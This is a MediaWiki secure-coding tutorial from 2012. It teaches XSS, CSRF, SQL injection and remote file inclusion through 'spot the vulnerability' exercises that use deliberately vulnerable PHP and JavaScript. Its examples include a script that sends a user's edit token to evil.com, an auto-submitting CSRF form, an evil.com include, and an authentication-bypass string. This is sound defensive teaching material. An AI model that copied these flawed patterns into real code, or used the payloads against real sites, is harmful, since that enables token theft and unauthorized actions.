Security for developers/Tutorial

From MediaWiki.org
Jump to: navigation, search
Protect the wiki, yourself and others!

Welcome to the tutorial on Secure Coding and Code Review, originally given at the Berlin Hackathon 2012. The live tutorial will cover:

  • Problems we see on MediaWiki: Top Vulnerabilities (20 min overview)
  • "Spot the Vulnerability" (5 min)
  • Secure Design Principles (5-10 min)
  • Collaborative: write some secure code (15 min)
  • Security review of developers' code


Tutorial Preparation[edit]

Would you like to see some specific code reviewed, live, during the tutorial? You can suggest it via this list, below.

Introduction[edit]

The Secure coding and code review for MediaWiki Tutorial is based on MediaWiki security best practices and was originally created for the Berlin Hackathon 2012. It is designed to teach skills, to be reusable and, as all things Wikimedia, to be a living, editable document. Please contribute your thoughts on the discussion page and update this tutorial as needed. Tutorial slides are available. Preliminary tutorial slides are also available.

Top Problems We See[edit]

  • Stuff we keep seeing
    • Cross-site Scripting (XSS)
    • Cross-site Request Forgery (CSRF)
    • Not protecting against Register Globals
    • SQL Injection

XSS[edit]

  1. Definition: an attacker is able to inject client-side scripting into a web page viewed by other users.
  2. Results in:
    1. Authenticated Requests
    2. Session Hijacking
    3. Click Jacking
    4. XSS Worms
    5. Internal network portscanning
  3. Types
    1. Reflected
    2. Stored / 2nd Order
    3. DOM / 3rd Order
    4. XSSI / "javascript hijacking"

Reflected XSS[edit]

An attacker is able to inject client-side scripting into a web page, executed by others.

   <input type="text" name="search_term" value="<? echo $_GET['search_term']; ?>" />

2nd Order (Stored) XSS[edit]

Attacker-controlled data is stored on the website, and executable scripts are displayed to the viewer (victim)

   <?php
     $articles = $dbr->query("SELECT id, title FROM `articles`");
     foreach ($articles as article) {
        echo "<a href='read.php?id={$article['id']}'>{$article['title']}</a>";
     }
   ?>

3rd Order (Dom-based) XSS[edit]

Attacker influences existing DOM manipulations in a way that generates attacker-controlled execution of scripts

   <script>
     document.write("<a href='"+document.referrer+"'>Go Back</a>");
   </script>

XSSI[edit]

  • A script with sensitive data is included and manipulated from another domain
  • Known as "JavaScript hijacking" Here
  • Used in 2006 to compromise gmail [1]
  • Often used to enable a CSRF attack
<!-- on a page in the evil.com domain: -->
<script src="//en.wikipedia.org/wiki/loader.php?script" />
<script>
  document.write("<img src=evil.com/collector.php?token=" + mw.user.edit_token + " />");
</script>

More about XSS[edit]

Same Origin Policy[edit]

To understand the cross-site aspects of xss, you will need to understand Same Origin Policy SOP

Lots of useful information about how browsers handle cross-domain situations

SOP is NOT the same for Javascript vs. Flash vs. XHR SOP is changing with CORS

CSRF[edit]

Understanding[edit]

  • When an HTTP session is tracked with a cookie, the cookie is appended to every call to the cookie's originating server. This is done automatically by the browser.
    • This includes calls to a server for an image, or an iframe
  • If a user has an authenticated session established, a remote site can request remote resources from that site. The browser will request those resources with the authority of the logged in user.
// a page on funnykitties.com
<img src='cat1.jpg'>
...
<img src='http://en.wikipedia.com/wiki/index.php?title=some_thing&action=delete'>
...
</syntaxhighlight>

Or more likely:

<source lang="html">
<form name="wikiedit" method="POST"
      target="hiddenframe"
      action="http://en.wikipedia.com/wiki/index.php?title=some_thing&action=submit">
<input type="hidden" name="wpTextbox1" value="whatever the attacker wants to say">
...
</form>
<iframe name="hiddenframe" style="display:none;"></iframe>
<script>
  document.wikiedit.submit();
</script>

Preventing[edit]

  • Tokens given out just prior to editing, checked to authorized edit
  • In addition to authentication / authorization checks (not a replacement for)
  • Must be difficult to predict / guess (e.g., md5( $username, $timestamp ) would be bad; md5( $username, $secretKey, $timestamp ) would be ok)

Register Globals[edit]

  • If register_globals is on, then an attacker can set variables in your script

Dangers[edit]

  • Remote File Inclusion (RFI), if allow_url_fopen is also true
  • Alter code execution

RFI[edit]

include($lang.".php"); // and if $lang is 'http://evil.com/index' ?

Alter execution[edit]

<?php
//MyScript.php
if ( authenticate( $_POST['username'], $_POST['pass'] ) ) {
    $authenticated = true;
}
if ( $authenticated ) {
   ...
}

Protections[edit]

  • Don't use globals in script paths
  • Ensure your script is called in the correct context
    • if ( !defined( 'MEDIAWIKI' ) ) die( 'Invalid entry point.' );
  • Sanitize defined globals before use
  • Define security-critical variables before use as 'false' or 'null'

SQL Injection[edit]

Understanding[edit]

  • Poorly validated data received from the user is used as part of a database (SQL) statement
  • Often occurs when attacker-controlled values are concatinated into INSERT or WHERE clauses

Dangers[edit]

  • Authentication Bypass
    • SELECT * FROM users WHERE username='$username' AND password='$pass';
    • If $pass is set to "' OR 1='1"?
  • Data corruption
    • DROP TABLE, UPDATE data (esp. user tables)
  • In the worst case, complete system compromose
    • xp_cmdshell on SQL Server
    • SELECT INTO OUTFILE on MySql
    • lots of other bad stuff...

Preventing[edit]

  • Use MediaWiki builtin db classes and pass variables by key=>value for CRUD
    • select()
    • selectRow()
    • insert()
    • insertSelect()
    • update()
    • delete()
    • deleteJoin()
    • buildLike()
  • If you really have to, use database::addQuotes() to escape a single value

Top Vulnerabilites in Web Apps OWASP top 10[edit]

  • A1: Injection
  • A2: Cross-Site Scripting (XSS)
  • A3: Broken Authentication and Session Management
  • A4: Insecure Direct Object References
  • A5: Cross-Site Request Forgery (CSRF)
  • A6: Security Misconfiguration
  • A7: Insecure Cryptographic Storage
  • A8: Failure to Restrict URL Access
  • A9: Insufficient Transport Layer Protection
  • A10: Unvalidated Redirects and Forwards

Play "Spot the Vulnerability"[edit]

XSS 1[edit]

<?php
/**
 * XSS is possible. What is wrong with the code?
 */

$theText = htmlspecialchars( $wgRequest->getVal('text', '') );
$action = htmlspecialchars( $wgRequest->getVal('action', '') );

print "<div class='mymodule-$action'>$theText</div>\n";

XSS 2[edit]

<html>
<!-- What url would cause javascript execution? -->
<body>
<h1>Search:</h1>
<form>
<script>
	var pos = document.URL.indexOf("query=")+6;
	var qry = '';
	if ( pos > 5 ) {
		qry = decodeURIComponent ( document.URL.substring( pos, document.URL.length ) );
	}
	document.write('<input type="text" name="search" id="search" value="'+qry+'" />');
</script>
</form>
</body>
</html>

SQL Injection[edit]

/**
 * Authentication bypass is possible. How?
 */
$username = $_POST['user'];
$password = $_POST['pass'];
$token = $_POST['csrf'];
$safeUsername = mysql_real_escape_string( $username );
$safePassword = mysql_real_escape_string( $password );
$safeUsername = substr($safeUsername, 0, 20);
$safePassword = substr($safeUsername, 0, 20);

if ( isValidToken( $token, __METHOD__ ) ) {
	$query = "SELECT * FROM User WHERE `user`='$safeUsername' AND `pass`='$safePassord' LIMIT 1";
	$result = $db->query($query);
	if ( $result->num_rows() == 1 ) {
		return "Success";
	} else {
		return "Invalid Username or Password";
	}
} else {
	return "Invalid format for Username, Password, or Token";
}

CSRF[edit]

<?php
/**
 * This code does not prevent CSRF attacks. Why not?
 */

$errorMsg = '';
function genToken( $timestamp ) {
	global $MySecretKey;
	return hash_hmac( 'sha256', $timestamp, $MySecretKey, false );
}

if ( isset( $_POST['action'] ) && $_POST['action'] == 'delete' ) {
	if (isAuthorized($user, 'delete') {
		$formTime = $_POST['timestamp'];
		$formToken = $_POST['csrf'];
		$formArticleId = intval( $_POST['article_id'] );

		if ( $formToken == genToken ( $formTime ) ) {
			$stmt = $db->prepare("DELETE FROM `articles` WHERE `id` = ? LIMIT 1");
			$stmt->bind_param('i', $formArticleId );
			$stmt->execute();
		} else {
			$errorMsg = "Error with your token, please try again.";
		}
	} else {
		$errorMsg = "You do not have permissions to delete this article";
	}
}

if ( $errorMsg <> '' ) {
	print "<div class='error'>$errorMsg</div>\n";
}

$ts = time();
$stmt = $db->prepare("SELECT `id`, `title` FROM `articles` WHERE `owner` = ?");
$stmt->bind_param('s', $user );
$stmt->execute();
$stmt->bind_result($articleId, $articleTitle);

while ($stmt->fetch()) {
	print '<tr>';
	print '<td class="articleTitle">' . htmlspecialchars( $articleTitle ) . '</td>';
	print '<td>';
	print '<form method="POST">';
	print '<input type="hidden" name="article_id" value="' . intval( $articleId ) . '"/>';
	print '<input type="hidden" name="csrf" value="' . genToken( $ts ) . '"/>';
	print '<input type="hidden" name="timestamp" value="' . $ts . '"/>';
	print '<input type="submit" name="action" value="delete"/>';
	print "</td></tr>\n";
}

More Bad Code...[edit]

<?php
/**
 * Spot:
 *  - A SQL Injection attack
 *  - At least two XSS attacks
 *  - A RFI attack
 */
$lang = isset($_REQUEST['lang'])?$_REQUEST['lang']:'en';
include_once( $lang.'/translations.php' ); //define $translations array of phrases
if ( isset( $_POST['action'] && $_POST['action'] == 'login' ) {
        // Handle Authentication Submit
        $username = $_POST['user'];
        $username = $_POST['pass'];
        $db = getDB();
        $result = mysql_query( "SELECT * FROM users WHERE username='$username' AND password=MD5('$username') LIMIT 1" );
        if (mysql_num_rows($result) == 1 ) {
                setcookie( 'myApp', "User:${_POST['user']}", 0 );
                header( "Location: ${_POST['nextUrl']}" );
        } else {
                header( "Location: ${_SERVER['PHP_SELF']}?errorMsg=${translations['bad_login']}" ) );
        }
} else {
        //Otehrwise Show the Form
        print "<html>\n<head>\n</head>\n<body>\n";
        print "        <h1>${translations['login']}!</h1>\n";
        if ( isset( $_GET['errorMsg'] ) ) { 
                print "        <p class='error'>Error: ${_GET['errorMsg']}</p>\n";
        }
        print "        <form action=\"${_SERVER['PHP_SELF']}\" method=\"POST\">\n";
        print "                <input type='text' name='user' />\n";
        print "                <input type='password' name='pass' />\n";
        print "                <input type='hidden' name='action' value='login' />\n";
        print "                <input type='hidden' name='nextUrl' value='secretPage.php' />\n";
        print "                <input type='hidden' name='lang' value='$lang' />\n";
        print "                <input type='submit' />\n";
        print "        </form>\n";
        print "</body>\n";
        print "</html>\n";
}

Vulnerabilites:

  • RFI in lang parameter
  • sqli in auth
  • $lang xss in form
  • errMsg reflective xss
  • $translations['login'] reflective xss (with register globals on)

Extra Credit:

  • insecure cookie for authentication
  • nextUrl header injection
  • $translations['bad_login'] header injection (with register globals on)
  • No salt for md5 hash of passwords
  • PHP_SELF reflective xss

Secure Design Principles[edit]

Simplicity (Demonstrable Security)[edit]

The larger and more complex your code, the more likely that it will contain a vulnerability. Keeping your code clean, simple, and easy to understand will reduce the number of places your code can be attacked, as well as making it easy for others to spot flaws or potential attacks before attackers do. Clearly document any security assumptions that your code makes.

Secure by Default [2][edit]

This principle states that the most strict security posture for your feature / code should be the default as soon as it goes into production. If an administrator needs to lower the security for their users, they should be able to do so, but it would be an intentional action on their part to increase their risk. If you're not sure what the most secure option is, ask someone!

Secure the Weakest Link[edit]

Successful attackers will nearly always attack the weakest point in a system, instead of the most well protected ones. For example, an attacker will not spend time circumventing the MediaWiki parser functions to inject a xss if they are able to make a change to Common.js, or socially engineer an admin to give them their password. Keep the whole system in mind as you design.

Least Privileges[edit]

In general, any features you develop should be able to run with "Just enough authority to get the job done." [3] For example, if most of your users will only need to see public information, but a few would benefit from some privileged data, segment based on a role instead of giving everyone advances privileges or showing all of the data to everyone.

Media Wiki Secure Coding Checklist [4][edit]

  • Do not use eval, create_function
  • Regex'es
    • Don't use with /e
    • Escape user-controled strings that get used in a regex with preg_quote()
  • Use MW's HTMLForm class, or include/check $wgUser->getEditToken() to prevent CSRF
  • Filter / Validate your inputs
    • intval(), getInt(), etc.
    • Use a whitelist of expected values when possible
  • Defend against register-global variable injections
  • Use Html and Xml helper classes to write out text
  • Use Sanitizer::checkCss for any css from users
  • Use database wrappers to communicate with DB
  • Clearly comment unexpected / odd parts of your code

Collaborative Development of Code[edit]

  • Starting with a skeleton of a SpecialPage
  • Create a Special Page that allows searching, and showing results
  • Assume a database of text data
    • CREATE table `myData` (`id` INT, `name` varchar(80), `body` TEXT);
  • Presents a search box to users of your content.
  • When a search is received, search the database for a match in the `name` or `body` fields, display the search term, and a list of article names (which link to the article), and the beginning of the body to the users.
<?php
/**
 * SpecialPageExample.php
 *
 * A special page that searches MyData
 *
 * Starting with this structure, create a page that:
 *  - Assuming a database table full of useful info myData
 *    - CREATE table `myData` (`id` INT, `name` varchar(80), `body` TEXT);
 *  - Present a search box to users
 *  - When a search is received, search the name and body fields and display:
 *    - The name of the data
 *    - The first 200 characters of data from the body
 *  - For the sake of example, ignore Roan's talk about DB performance...
 */
class SpecialSearchExample extends SpecialPage {
        public function __construct() {
                parent::__construct( 'MySearchExample' );
        }
        public function execute( $par ) {
                /**
                 * Show a search box at the top
                 * Something like:
                 * <form>
                 * <input type="text" name="search" value="$oldSearchVal" />
                 * <input type="submit" />
                 * </form>
                 */
                /**
                  * Show search results, if there was a search term
                 */
        }
}

Hands-on Code Review[edit]

Suggested Code for Live Review (if it's long, please post somewhere and link to it.)
  1. ..